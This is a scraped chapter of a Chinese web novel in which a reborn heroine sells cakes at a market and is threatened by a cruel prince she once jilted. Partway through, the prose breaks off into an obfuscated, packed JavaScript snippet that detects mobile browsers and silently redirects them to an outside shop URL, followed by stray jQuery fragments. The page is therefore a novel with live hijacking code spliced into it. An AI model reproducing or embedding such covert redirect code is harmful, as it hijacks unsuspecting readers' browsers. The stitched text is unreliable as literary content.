默认冷灰
24号文字
方正启体

2. 美强惨男配

作者:月亮黄本书字数:K更新时间:
    “啊?”朱姒幼眉头瞬间皱起,又立刻松开,随意挥手,“哎呀,都说了我与勤王是有些交情的。”


    “我的老天爷,竟然是勤王殿下吗!”黄大娘一个踉跄摔倒在地,好在朱姒幼连忙把她扶起。


    朱父与朱秦游尴尬对视,一脸无奈,原来一切都是假的,朱姒幼还想着勤王殿下呢,这次假意改过自新必定是又有什么坏主意。


    罢了,谁让他们是一家人呢。


    石子路旁的树丛沙沙,再不走真赶不上早市,朱姒幼挥手与黄大娘告别。


    越来越远,黄大娘突然拍脑袋:“嘿,这姑娘咋变一个人似的,居然愿意跟我讲话,看得上我了?”


    紧赶慢赶,中途歇息好几次,终于是来到早市,果不其然一个好位置都没了。


    正当时垂头丧气之际,卖黄瓜的大叔连忙起身朝他们招手,大声喊:“这儿,这儿!”


    “你们终于来了,快快快,给你们占的位置。”


    一袋黄瓜随意打包好,二话没说就跑掉。不留给朱父询问他是何人的机会。


    “阿爹,咱这几天运气咋这么好?”朱秦游扯住朱父衣袖。


    朱父摇摇头,也是不明所以,只当是老天爷垂怜。


    大概是昨日睡得早,亦或是对新世界感到新奇,朱姒幼没有半点困意,大声招呼着路过的客人,“卖糕点咯,卖糕点咯!”


    “哟,美人,你们家糕点怎么卖?”一位穿卓不凡的男人停下脚步。


    朱姒幼也不矫情,掀开盖子,“诶,这位客官您看看,香甜软糯的红豆糕,十里飘香的桂花糕……”


    琳琅满目,本只是想着戏弄一番如此娇嫩可人的小娘子,却没想到这副皮下却是如此不卑不亢的魂,顿时收起戏弄之心,人家已经掀开盖子,不卖也说不过去。


    随意装了点糕点,反正他也不缺钱。


    第一次拿到古代的铜币,她觉得太不可思议了。细细打量,左右翻看,不断摩挲着。


    男人看不下去,开口:“是真钱,本大爷还没穷到这种地步。”


    “哈哈!客官多想了!我只是第一次自己卖出糕点,有点儿好奇罢了。”


    她想要更多铜钱,越多越好。


    “那行,我回去就说,早市来了个糕点美人,叫大家伙儿都来买。”


    果然,上午陆陆续续来了好些人。


    汗水打湿额上碎发,抬头不让汗珠落入眼睛,分出手去擦,正巧对上不远处的当铺老板娘的目光。


    真是美丽的女人,笑起来有两个酒窝,粉紫色外裳,依稀可以看见脖颈戴着的金项圈。


    突的,招招手,朱姒幼小脸红红,左右看看才知道是叫自己。


    手里的桂花糕递给朱秦游,随意在布衣上擦擦手,很快就来到女人跟前。


    以为是客人,弯着腰,准备说自己糕点是多么软糯香甜,让人流连忘返,下一秒听见她说:“姒幼,可还记得奴家?”


    朱姒幼诚实摇头。


    女人撅起嘴,娇嗔:“哼,这么快就把奴家忘了?”


    用手中折扇轻轻把人一推,身子半侧,“你呀你呀,当初不害得瑞王殿下旧疾复发,何至于此?”


    “都不见你来铺子买新衣物,你可知奴家多想你?”


    全身汗毛竖起,文中的确有她与瑞王退婚的事,但读者也不觉得有什么,毕竟他们两个本就没有感情,只是瑞王觉得小门小户女子竟敢如此羞辱他,气的旧疾复发。


    像是为了虐而虐的,两个大坏蛋,最后美强惨男配洗白,只有她这个傲气女配沦落至此。


    女人见她呆愣住,也不打算继续绕圈子,俯身凑到她耳边低语:“瑞王今日在店铺后院,听闻你亲自来早市,很是不可思议呢,要见见么?”


    虽然是在询问她,可是四周巷子口出现身着飞鱼服的人全朝她看来。


    朱姒幼不自觉咽下唾沫,书里男配可谓是杀人不眨眼的疯子……


    安慰自己没什么好怕的,反正她早就死过一次了,横竖就是个死。死了还不用管这一堆烂摊子了。


    踏进后院,院中的梧桐树下,坐着木轮椅的男人一只手撑着头,毫无血色的脸上是寒气,直逼她的心,砰砰砰,越来越快。


    见到男人的一刻,她还是无法劝自己不害怕。


    俗话说,伸手不打笑脸人。


    朱姒幼露出乖巧的微笑,屁颠屁颠跑到他身旁。


    暗中的守卫拔出利刃,刀光剑影。她深吸一口气,乐呵呵蹲下身子,半跪在地上,保持与他的平视。


    “好久不见啊,邢洛珝!”轻轻挥动小手。


    气氛瞬间凝固,他的睫毛微颤,眸中带着点点星火,看向她跪在地上的一条腿上。


    突的,一把剑横在她的脖颈。


    笑容立刻烟消云散,大眼睛怯生生地瞧着他。


    脑子转的很快,傻白甜人设行不通就换一招,眼前越发模糊,咬着唇楚楚可怜。


    半晌也没个动静,朱姒幼也不知道是哪来的胆子,试探着摸向横在脖子上的剑。


    一点点挪开。


    好在男人并未有任何动作。


    悬着的心渐渐落下,看向他的腿,心里盘算着要如何是好,是朱姒幼做的坏事,如今也算是她做的,良心过意不去。


    “邢洛珝,你吃不吃桂花糕啊?”眼泪恰好滑落,柔弱美人这般无辜,她不相信他会手起刀落。


    男人目光扫过她认真的面庞,歪头眯起眼睛,想要看透她的虚情假意。


    “朱姒幼,你又在耍什么花样?”他声音没有半点起伏。


    思索片刻,朱姒幼小心翼翼地说:“我已经迷途知返了,当年退婚一事是我不对。”


    只听男人一声冷笑,充斥着不屑,有力的大手快把她额骨捏碎,眼底染上些许疯狂,“迷途知返?本王说过你配返吗?”


    好似天大的笑话,他眼角不自觉抽动,只需要轻轻一用力便可让她再不见天日。


    太便宜她了,他要让她为自己做出的事付出代价。


    “怪我怪我,说错话了。”她艰难挤出一个笑来,连连拍嘴。小心翼翼扯住他的衣袖,“我已经沦落至此了,你能不能饶我一命呀?”


    话音刚落,双颊多了几个指印,被狠狠甩开,红肿起来。


    “细皮嫩肉。”他轻嗤,满眼鄙夷:“就凭你想让我轻轻揭过?”


    仔仔细细不错过她任何一个表情,只见她笑意加深,下巴扬起,声音染上可爱,“就凭我呀!”


    笑起来两个小酒窝夺走目光,不老实地摇晃脑袋,“我给你当牛做马,刀山火海在所不辞~”


    “想反悔?”他就像看透一切,眼眸微眯。


    眼神好似要将她活剥,一字一顿,“还想着王兄?”


    “啊?”她眨眨眼,“你这是同意了吗?”


    “可惜,你的勤王早就不会管你了。”周身气压越发低沉,男人闭上眼,不去瞧她,“借着王兄名号招摇过市,呵,无非就是个笑话。”


    “害的竹芷如此,王兄会放过你?”


    指腹有规律地敲击轮椅扶手,歪着头,脸上带上一抹邪笑,静静瞧着她歪头思考的模样。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319178|199028||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>软的不行,他只会一味回怼。装傻也不行,他不吃这招。


    死亡的警钟敲响,朱姒幼收起脸上的笑,平静如同无风的湖面,“瑞王殿下到底想如何?”


    “本王不想如何,只想看你生不如死。”结冰的湖面出现一丝裂痕,他阴森森笑着。


    却没想到朱姒幼不管他如何威胁,起身拍拍衣角的灰,毫不犹豫往外走。


    远处悠悠传来一声婉转。


    “我已经一无所有,什么都不怕,瑞王殿下放马过来便是。”


    脊背冷汗涔涔,她在赌,这一败,真的满盘皆输,父母阿妹都会受到牵连。


    好在,一把折扇拦住去路,女人头朝着里边轻轻一点,“殿下话还没说完呢。”


    她冷脸折返,嘴角向下,无意识瘪嘴,站在他跟前一动不动。像耍脾气的小孩。


    邢洛珝真是拿她没办法,他多次想过让她死,但总觉得要再折磨一番才行,一直拖到现在,站在他跟前还生上气了。


    真想一剑封喉,可惜天子犯法与庶民同罪。


    “你说的,当牛做马。”他撑着头,不想看她一副模样,索性闭上眼。


    朱姒幼连连点头,却不回答。


    逼得他睁开眼,见她憋不住笑连连点头的模样,心中火气更盛,真是可爱的女人,他一定要狠狠折磨她。


    蹲下身,笑着瞧他吃瘪,朱姒幼郑声道:“瑞王殿下放心好了!我朱姒幼一定为殿下上刀山下火海。”


    “闭嘴。”


    “那我可以走了吗?瑞王殿下!”


    “滚。”


    “得嘞~小的为殿下上刀山下火海去了~”


    屁颠屁颠跑掉,头也不回,自然没看见邢洛珝眼眸中的探究。


    走着走着,朱父担忧的大脸出现在眼前,紧张地握住她的肩头,很是坚定:“别怕,有谁找你麻烦,先从为父尸体上跨过去!”


    一滴水从遥远的未来滴入她的心尖,湖面早已不再平静,她不知道这是什么感觉,只觉得心脏被堵住,什么都听不见,四周万物都虚化,眼中只有父亲眼角褶皱中藏着的一滴水。


    “阿爹。”比以往都要温顺,且坚定。


    抬眸一瞬,眼眶藏着的泪已然消散,“你放心,女儿一定会让阿爹过上原来的好日子,不,是比原来更好的日子。”


    “好孩子,好孩子,你平平安安就好。”笑中带着泪,褶皱藏住悲伤。


    不远处的女人抱臂靠着墙,怔怔看着眼前的一幕。嘴角勾起一抹邪笑,往后院中走去。


    “殿下还赖在奴家的树下不走?”朱唇微启,笑意若有若无。


    邢洛珝没搭理她,静静瞧着树叶飘落。直至枯叶落入他手心,一捏就碎了,如同他的命运。


    “听闻前几日她突发高热,叫了道士去,而后竟真的奇迹般地好了。”


    “她今日很不对劲,殿下也这般觉得吗?”


    邢洛珝始终一言未发,眼中无限冰凉似乎夹杂着一丝探究。


    “奴家会帮殿下好生盯着她的,毕竟……殿下打算如何折磨她?”


    女人侧目撞上邢洛珝的目光,仅是电光火石,后背不由吓出冷汗,连忙收起目光,老老实实盯着自己脚尖。


    邢洛珝缓缓闭上眼,声音如同春风拂过,轻柔,“本王,原是拿她没办法。”


    “如今看来,处处均是软肋。”


    春风吹过的地方,本应该万物复苏,但女人只觉一旁冰冷,死寂静岭。


    摊开手,四分五裂的枯叶被寒风卷走。


    朱姒幼,我们走着瞧。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)